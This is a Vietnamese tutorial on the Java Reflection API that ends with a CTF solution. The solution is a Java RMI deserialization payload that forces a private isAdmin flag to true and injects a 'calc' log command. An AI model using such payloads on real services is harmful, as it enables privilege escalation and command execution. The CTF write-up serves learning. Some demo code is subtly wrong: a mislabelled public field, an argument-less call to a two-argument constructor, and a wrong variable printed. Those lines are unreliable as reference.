Khái niệm về java reflection
Java Reflection là gì??
Như ở đây, ta tạm hiểu java reflection là 1 API Java. Nó cho phép truy cập và sửa đổi hành vi đối tượng (tên class, các field, các method, interface,…) trong quá trình Runtime. Đồng thời nó còn cho phép truy cập các private fields của đối tượng - điều này không được phép so với cách tiếp cận truyền thống
Java Reflection có thể tác động đến method nếu chúng ta biết tên và tham số được truyền vào.
Kiến trúc của 1 Reflect API
Các class được dùng trong Reflection nằm trong _java.lang.reflect_ package.
- Object
- Object class là class gốc trong hệ thống phân lớp class
- Mọi class đều là con của Object class hay nói cách khác, Object class là class cha của toàn bộ các class
- Class
- Là một package được cung cấp bởi java.lang.Class
- Một instance class đại diện cho toàn bộ các kiểu dữ liệu trong java bao gồm các kiểu dữ liệu cơ bản như: (boolean, byte, char, short, int, long), void, array, class, interface, enumeration, annotation.
- Class không có public constructor. Thay vào đó, object của Class được tạo ra tự động bởi JVM trong quá trình RunTime
- Khi sử dụng class phải có 1 đối tượng kiểu class, từ các đối tượng kiểu Class có thể lấy được thông tin về
- Class Name
- Class Modifies (public, private, synchronized etc.)
- Package Info
- Superclass
- Implemented Interfaces
- Constructors
- Methods
- Fields
- Annotations
Cách sử dụng Refection API
Có 3 cách để lấy ra object Class
- Cách 1: forName()
- Cách 2:
.class - Cách 3: getClass()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.*;
class Demo{
private String name = "Konchan";
public int age = 21;
public Demo(){};
private void hack(){
System.out.println("How to hack ");
}
public void say(){
System.out.println("How to say ");
}
}
public class SerializeDemo {
public static void main(String[] args) throws Exception{
Demo demo = new Demo();
Class c1 = demo.getClass();
Class c2 = Demo.class;
Class c3 = Class.forName("Demo");
System.out.println("C1: "+c1);
System.out.println("C2: "+c2);
System.out.println("C3: "+c3);
}
}
Có 4 cách để lấy fields
Cách 1: Field[] getFields() -> Trả về tất cả fields có modifier là public
Cách 2: Field getField(String name) -> trả về field public, tham số truyền vào là tên cụ thể của field đó
Cách 3: Field[] getDeclaredFields() -> trả về tất cả fields, không quan tâm đến modifier của field đó
Cách 4: Field getDeclaredField(String name) -> trả về field mà không quan tâm field đó có modifier nào, tham số truyền vào là tên cụ thể của field đó
Cách truy cập vào field bất kể access Modofier
+
.setAccessible(boolen flag) Cách lấy giá trị của field
-
.get(Object obj)
-
Cách sửa giá trị 1 field
-
.set(Object obj, Object value)
-
Có 4 cách lấy ra method
Cách 1: Method[] getMethods() -> trả về tất cả method có modifier là public
Cách 2: Method getMethod() -> trả về method có modifier là public
Cách 3: Method[] getDeclaredMethods() -> trả về method mà không quan trọng modifier
Cách 4: Method getDeclaredMethod(String name, class<?>… parameterTypes) trả về method mà không quan tâm method đó có modifier là gì(ngoại trừ protected), tham số truyền vào là tên cụ thể của method đó
Cách thực thi 1 method Method.invoke(Object, parameter) Note: Nếu 1 method của class không chấp nhận bất kì tham số nào, có thể dùng null để pass
Có 4 cách để lấy ra 1 constructor
- Cách 1: Constructor<?>[] getConstructors()
- Cách 2: Constructor getConstructor(class<?>… parameterTypes)
- Cách 3: Constructor getDeclaredConstructor(class<?>… parameterTypes)
- Cách 4: Constructor<?>[] getDeclaredConstructors()
Setup minh họa
Cấu trúc thư mục sẽ là như này
file Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;
public class Person {
private String name = "Spycio.Kon" ;
private int age = 21;
public String a = "how2hack";
public Person() {
}
public void eat(){
System.out.println("eat");
}
public void eat(String food){
System.out.println("eat "+food);
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", a='" + a + '\'' +
'}';
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
file Main.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Constructor;
public class Main {
public static void main(String[] args) throws Exception {
// Sử dụng Class.forName() để lấy ra object Class
Class cls = Class.forName("org.example.Person");
// Sử dụng getField() để lấy field cụ thể (có modifier public)
Field a = cls.getField("a");
System.out.println("(+) Demo getField(): ");
System.out.println(a + "\n"); // "a" ko public nên sẽ trả về null
Person person = new Person();
Object o = a.get(person);
System.out.println("(+) Demo <Field lấy được>.get():");
System.out.println(o + "\n");
a.set(person, "abc");
System.out.println("(+) Demo <Field lấy được>.set():");
System.out.println(person + "\n");
// Sử dụng getDeclaredFields() để lấy toàn bộ Field
System.out.println("(+) Demo getDeclaredFields():");
Field[] declaredFields = cls.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
System.out.println("\n");
// Sử dụng setAccessible() để truy cập vào field bất kể access modifier,
// ở đây a là 1 field private
a.setAccessible(true);
Object o1 = a.get(person);
System.out.println("(+) Demo <Field lấy được>.setAccessible(): ");
System.out.println(o1 + "\n");
// Sử dụng getMethods() để lấy ra toàn bộ Method
System.out.println("(+) Demo getMethods(): ");
Method[] methods = cls.getMethods();
for (Method method : methods) {
System.out.println(method);
}
System.out.println("\n");
// Lấy ra tên class
System.out.println("(+) Demo getName(): ");
String name = cls.getName();
System.out.println(name + "\n");
Constructor constructor = cls.getConstructor(String.class,int.class);
System.out.println("(+) Demo getConstructor(): ");
System.out.println(constructor + "\n");
// Construct có param
System.out.println("(+) Demo <Constructor lấy được>.getConstructor() khi có param: ");
Object o2 = constructor.newInstance("xxxxx", 19);
System.out.println(o);
// Construct không có param
System.out.println("(+) Demo <Constructor lấy được>.getConstructor() khi không có param: ");
Object o3 = constructor.newInstance();
System.out.println(o3);
}
}
Ap dung giai CTF: Java deserialization
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Payload.java
package rmi;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Payload {
public static void main(String[] args) throws RemoteException, BadAttributeValueExpException, NotBoundException, NoSuchFieldException, IllegalAccessException {
String serverIP = "127.0.0.1";
int serverPort = 1099;
String name = "hacker";
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis");
rmi.Player player = new rmi.Player(); // khoi tao doi tuong player;
Field isAdmin = player.getClass().getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.set(player,true);
Field command = player.getClass().getDeclaredField("logCommand");
command.setAccessible(true);
command.set(player,"calc");
Field val = payload.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(payload,player);
System.out.println(ascisInterf.login(payload));
}
}